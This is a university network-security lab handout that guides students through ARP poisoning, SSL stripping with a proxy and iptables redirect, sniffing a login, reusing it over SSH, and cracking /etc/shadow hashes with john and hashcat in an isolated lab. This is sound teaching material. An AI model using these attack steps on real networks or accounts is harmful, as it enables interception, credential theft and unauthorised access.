2026 EDITION

Network Security

Laboratory

Lab 08 · Stripping HTTPS

SSLstrip · HSTS & Preload · Password Reuse · Shadow Cracking

University of Calabria · DeMaCS · A.Y. 2025/2026

Before We Start

Distribute the bundle (host)

```
# On the host
tar -czf lab08.tar.gz setup_lab08.sh nginx/ mitm/
python -m http.server 8000


# On EACH NODE (Alice, Bob, Darth)
wget http://192.168.122.1:8000/lab08.tar.gz
mkdir -p lab08
tar -xzf lab08.tar.gz -C lab08
cd lab08
sudo ./setup_lab08.sh <role>
```

Sanity check before ES 01

```
# On BOB — nginx + self-signed + no-HSTS profile
curl -k https://bob.local/login | head

# On ALICE — bob.local resolves to 10.0.0.20
getent hosts bob.local
ping -c1 bob.local

# On DARTH — i386, Python 3 already there
python3 ./mitm/sslstrip_proxy.py --help
ls /usr/share/wordlists/rockyou.txt
```

Alice — 10.0.0.10

Victim · types bob.local · lynx browser

Bob — 10.0.0.20

nginx HTTPS · SSH · /etc/shadow with 5 hashes

Darth — 10.0.0.30

Attacker (i386) · ARP + sslstrip_proxy.py · john + hashcat

Topology: R1 — SW1 (managed) — { Alice, Bob, Darth }.

Today's Roadmap

PR	**Preparation — Regain Control of the LAN** ARP poisoning on TWO pairs + ip_forward + iptables REDIRECT :80 to :8080 + sslstrip_proxy.
ES1	**ES 01 — SSLstrip Against a Server Without HSTS** The user level. Alice types bob.local. The same lynx visit, with and without Darth — the attacked path is smoother.
ES2	**ES 02 — HSTS Hijacking and Its Limits** The deployment level. /tmp/hsts as 'browser memory'. TOFU + preload list close (and don't close) the first-visit gap.
ES3	**ES 03 — From Credentials to Access** ssh alice@bob with the password sniffed in ES 01. A web credential becomes a shell. Reuse, not a server flaw.
ES4	**ES 04 — Cracking the Linux shadow File** (a) anatomy of 6 · (b) john + rockyou · (c) john + rules · (d) hashcat mask. NTLM contrast at the end.

HTTPS, HSTS, Preload — One Page

Each protection only activates AFTER the previous one ran. The first plaintext request is the whole game.

1 · PLAIN HTTP

```
GET bob.local
```

Alice's first request. No flag, no prefix — exactly what a real user types. There is no protection here, by design.

2 · HTTPS REDIRECT

```
301 → https://bob.local/
login
```

Bob's correct answer. But Alice's browser is the one that has to ACT on it — and Darth answers first.

3 · HSTS HEADER

```
Strict-Transport-
Security:
max-age=31536000
```

Bob tells the browser 'HTTPS-only for a year'. The browser remembers it (TOFU) — but only AFTER it has seen the header once.

4 · PRELOAD LIST

```
shipped IN the browser
binary
```

The only mechanism that protects the FIRST visit. No header needed — the rule is compiled in. Hard, slow, irrevocable.

Darth doesn't break HTTPS or HSTS — he attacks the single packet that exists BEFORE either kicks in.

Preparation — Regain Control of the LAN

Get Darth into the MITM position before ES 01.

Step 1 Become a transparent relay

```
# On DARTH — relay BEFORE poisoning or Alice loses the LAN
sudo sysctl -w net.ipv4.ip_forward=1
sysctl net.ipv4.ip_forward
# expected:  net.ipv4.ip_forward = 1
```

Step 2 Poison BOTH pairs

```
# On DARTH — Alice - R1  (everything else)
sudo arpspoof -i eth0 -t 10.0.0.10 10.0.0.1
sudo arpspoof -i eth0 -t 10.0.0.1  10.0.0.10
# On DARTH — Alice - Bob  (bob.local is on the LAN)
sudo arpspoof -i eth0 -t 10.0.0.10 10.0.0.20
sudo arpspoof -i eth0 -t 10.0.0.20 10.0.0.10
```

Step 3 Verify MITM is active

```
# On ALICE — both gateway AND Bob now point at Darth's MAC
ping -c 3 10.0.0.20
ip neigh

# On DARTH — see Alice's traffic flowing through you
sudo tcpdump -i eth0 host 10.0.0.10
```

Step 4 Arm the SSL-stripping proxy

```
# On DARTH — kernel REDIRECT :80 -> :8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j
REDIRECT --to-port 8080

# On DARTH (from lab_08/) — leave it running
python3 ./mitm/sslstrip_proxy.py
```

Exercise 1 — SSLstrip Against a Server Without HSTS

1a Baseline — honest visit (Darth paused)

```
# On DARTH — pause the attack so Alice reaches Bob directly
sudo iptables -t nat -F PREROUTING

# On ALICE — text browser, just like any user
lynx http://bob.local/
# follows 301 -> https:// -> self-signed cert WARNING (y)
```

1b Re-arm + identical visit

```
# On DARTH — restore REDIRECT + restart proxy
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j
REDIRECT --to-port 8080
python3 ./mitm/sslstrip_proxy.py

# On ALICE — byte-for-byte the SAME command as 1a
lynx http://bob.local/
# NO 301, NO cert warning
```

1c Alice submits the login form

```
# In lynx on ALICE — Tab between fields, Enter on Sign in
# user:  alice
# pass:  passw0rd!

# Non-interactive equivalent (still no proxy on Alice):
curl -X POST bob.local/login -d
'username=alice&password=passw0rd!'
```

1d Darth captures cleartext on the wire

```
# On DARTH — capture BEFORE the kernel rewrites :80 -> :8080
# so we filter on port 80, not 8080.
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and src host
10.0.0.10'

# Result: username=alice&password=passw0rd!  on the wire.
```

ES 01 Wrap-Up — Bob Did Everything Right

Valid HTTPS on Bob. A clean 301. A user who 'just visited the site'. None of it was enough.

What Bob did right (and still lost)

- **Valid HTTPS on bob.local**
  a self-signed cert is a lab artefact — a real CA cert upgrades silently with NO warning at all
- **A clean 301 redirect HTTP to HTTPS**
  the textbook answer. The redirect was the ONLY thing that could have warned Alice — and Darth ate it first
- **TLS leg Bob - Darth was real**
  HTTPS was never broken — Darth completed it himself and handed Alice cleartext over HTTP

Where the attack actually lived

- **Alice's very first packet: plain HTTP**
  one missing prefix, the entire opening — Bob's protection only triggers AFTER this request
- **The attacked path is SMOOTHER**
  no 301, no cert warning to click — less friction than the honest visit. That absence IS the danger
- **Captured: alice : passw0rd!**
  one credential, reused everywhere — bridges to ES 03 (shell) and ES 04 (one of five hashes)

So who's at fault — Alice, Bob, or the protocol? A layered failure. The fix isn't 'patch nginx'. It is HSTS — and that's ES 02.

Exercise 2 — HSTS Hijacking and Its Limits

Same armed Darth in both cases. The ONLY variable: did Alice meet Bob safely BEFORE she met the attacker?

2a Bob switches to with-HSTS profile

```
# On BOB — Strict-Transport-Security: max-age=31536000
sudo cp ./nginx/with-hsts.conf /etc/nginx/sites-available/
default
sudo systemctl restart nginx

# /tmp/hsts on Alice = the browser's HSTS memory
# (curl --hsts makes the TOFU policy a readable file)
```

2b Case A — Alice visited Bob safely first

```
# (a) DISARM Darth so Alice reaches Bob for real
sudo iptables -t nat -F PREROUTING       # on DARTH
# (b) Honest visit on ALICE — -L follows 301 to HTTPS
curl -kL --hsts /tmp/hsts http://bob.local/login
cat /tmp/hsts   # bob.local "20270519 ..."  policy stored
# (c) RE-ARM Darth, repeat: curl rewrites http: -> https:
curl -v --hsts /tmp/hsts http://bob.local/login    # FAILS
```

2c Case B — first visit ever, Darth armed

```
# On ALICE — model a brand-new client: empty HSTS cache
rm -f /tmp/hsts

# Same armed Darth. Nothing tells curl to upgrade.
curl -v --hsts /tmp/hsts http://bob.local/login
curl --hsts /tmp/hsts -X POST bob.local/login -d
'username=alice&password=passw0rd!'        # WORKS
```

2d Preload — reasoning only (no hands-on)

```
# HSTS Preload List = policy SHIPPED in the browser binary.
# No header needed -> protects even the very first visit.

# Project hstspreload.org and ask the class:
#   - Why MUST it live in the browser, not the server?
#   - Cost: all subdomains HTTPS, long max-age,
#     includeSubDomains; removal takes MONTHS to ship.
```

Darth did not need to BREAK HSTS. He attacked the one visit it couldn't cover and walked away with alice:passw0rd! — straight into ES 03.

HSTS — When It Protects, When It Doesn't

Four scenarios. Two failure modes. One mechanism that closes them all — and its operational cost.

SCENARIO	ATTACK WORKS?	WHY
No HSTS (ES 01)	YES	First plaintext request reaches Darth. Nothing tells the client to upgrade. The 301 is read by the wrong party first.
HSTS · browser already visited (Case A)	NO	Cached policy in /tmp/hsts upgrades http:// to https:// BEFORE any packet leaves. Darth has nothing to strip.
HSTS · clean browser, first visit (Case B)	YES	TOFU: no header seen yet, the very first visit is unprotected. And that is the exact visit Darth strips.
HSTS preload list	NO	Policy lives IN the browser binary. The client refuses plaintext even on its first contact with the domain.

Preload closes the TOFU gap — at the price of a hard, slow, browser-binary-bound commitment. Security choices have shipping costs.

Exercise 3 — From Credentials to Access

ssh alice@10.0.0.20 is NOT 'connect to Alice'. It is 'log into Bob, as the user alice, FROM Darth'.

3 One reused password - an interactive shell

```
# On DARTH — log into BOB (10.0.0.20) as the SYSTEM user
'alice',
# with the EXACT string sniffed from the web form in ES 01.

ssh alice@10.0.0.20
password:  passw0rd!     # the exact string from the POST body

# Bob's HTTPS server was never compromised.
# A stripped first request (ES 01) + password reuse = SHELL.
# Lab 07's encrypted channel is IRRELEVANT here.
# The secret leaked ABOVE it and is now spent ON the endpoint.
```

READ THE COMMAND

10.0.0.20 = **Bob** (Alice = .10, untouched)
alice = **system account on Bob** — created by setup_lab08.sh, sharing the victim's name by design.

TWO CONTROLS THAT BREAK THIS

- **Per-service passwords / a password manager**
  web password ≠ system password — reuse is the whole attack
- **MFA on SSH or key-only auth (passwords disabled)**
  one sniffed string is no longer sufficient credential material

Flow note — ES 03 lands as 'alice' (no sudo). ES 04 needs root for /etc/shadow. State explicitly: assume escalation OR use checkpoints/shadow.example. Don't paper over the gap.

Exercise 4 — Anatomy of /etc/shadow + Dictionary Attack

Read the file. Recognise the algorithm. Run rockyou. Three of the five hashes fall in a bit.

4a Read /etc/shadow

```
# On DARTH (shell on Bob) — needs root
sudo cat /etc/shadow
cat /etc/passwd       # world-readable on purpose

# Line shape:  user:$6$salt$hash:...
# Bob uses $6$  =  sha512crypt   (jumbo john required)
```

4a The $ prefix encodes the algorithm

```
  $1$   md5crypt          (legacy, weak)
  $5$   sha256crypt
  $6$   sha512crypt        Bob is here
  $y$   yescrypt           (memory-hard, modern)

# Why is /etc/shadow not world-readable?
# The read restriction IS the defense.
```

4b Merge passwd+shadow with unshadow

```
sudo cp /etc/passwd /tmp/p
sudo cp /etc/shadow /tmp/s
unshadow /tmp/p /tmp/s > /tmp/unsh

# Verify your john supports $6$ (jumbo edition):
john --list=formats | grep -i sha512crypt
```

4b Straight dictionary run against rockyou

```
john --wordlist=/usr/share/wordlists/rockyou.txt \
     /tmp/unsh
john --show /tmp/unsh

# Falls in seconds:  u_top, u_word, u_leet
# Survives:           u_rule, u_mask  -> next slide
```

Exercise 4 — Mutated Wordlist + Mask Attack

Real passwords are dictionary words MUTATED. When there's no dictionary base, you brute-force a SHAPE.

4c Wordlist + rules (capitalize + append)

```
# Same wordlist — now mutate every entry on the fly
john --wordlist=/usr/share/wordlists/rockyou.txt \
     --rules=Single /tmp/unsh
john --show /tmp/unsh

# u_rule = Sunshine2024!  falls.
# The base 'sunshine' was ALWAYS in rockyou.
```

4c Why rules are the lesson

```
# Word    -> Word         ('sunshine')
# Word    -> Sunshine     (capitalize)
# Word    -> Sunshine!    (append)
# Word    -> Sunshine2024!    (append year+symbol)

# Real passwords aren't random — they're a base word
# plus a small, predictable mutation.
```

4d Mask attack with hashcat

```
# Extract the raw $6$ tokens (hashcat doesn't want
# the colon-format that unshadow produced)
awk -F: '{print $2}' /tmp/unsh > /tmp/hashes_only

# -m 1800 = sha512crypt  ·  -a 3 = brute-force mode
hashcat -m 1800 -a 3 /tmp/hashes_only '?u?l?l?l?d?d'
hashcat -m 1800 --show /tmp/hashes_only
```

4d What the mask means — and where it breaks

```
  ?u  one uppercase letter
  ?l  one lowercase letter
  ?d  one digit
  ?s  one symbol

# u_mask = Kxty99  falls (1 upper, 3 lower, 2 digits).
# Widen the mask by ONE char -> time EXPLODES.
# Length beats complexity. That IS the lesson.
```

Instructor demo (10 min): samdump2 + hashcat -m 1000 on NTLM. MD4, unsalted, GPU-shredded in seconds. The contrast IS the conclusion.

Five Accounts · The Staircase

Each password falls at a precise stage. The progression b → c → d IS the lesson — wordlist → mutated wordlist → no-dictionary brute force.

ACCOUNT	PASSWORD	FALLS AT	WHY
u_top	`123456`	ES 04b	Top-10 of rockyou. Cracked in seconds by the plain wordlist.
u_word	`sunshine`	ES 04b	A literal dictionary word, present in rockyou as-is.
u_leet	`passw0rd!`	ES 04b	THIS IS THE ES 01 CAPTURED PASSWORD. It is in rockyou as-is — reuse closes the loop.
u_rule	`Sunshine2024!`	ES 04c	Base 'sunshine' + rule: capitalize + append year + symbol. Plain wordlist misses it.
u_mask	`Kxty99`	ES 04d	No dictionary base. Mask ?u?l?l?l?d?d brute-forces the exact 1U-3L-2D shape.

Contrast — Windows NTLM

MD4, **unsalted**, fast: rockyou rips through the same passwords in **seconds**.
One rainbow table cracks every box with that password.
Modern mitigations: Credential Guard (VBS enclave), Protected Users group (disables NTLM).

Key Takeaways

USER

Encryption protects what you ROUTE through it

Bob's TLS was never broken. Alice's first plaintext request never reached it. The protocol is fine; the assumption was missing.

DEPLOY

HSTS is Trust On First Use — preload closes that gap

A server-sent header can't protect a request the browser hasn't made yet. Preload ships the policy IN the browser binary.

ENDPOINT

Password reuse turns one credential into the whole machine

Web form → SSH shell → /etc/shadow. The leak above the channel becomes total control of the endpoint below it.

HASHING

Slow, salted hashing buys time — speed kills

6 + salt forces per-target work. NTLM (MD4, unsalted) is the cautionary tale: 1990s decisions are still in production today.